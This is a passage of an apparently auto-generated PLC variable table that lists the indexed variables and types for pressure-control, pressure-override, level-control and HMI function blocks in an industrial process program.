+186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; 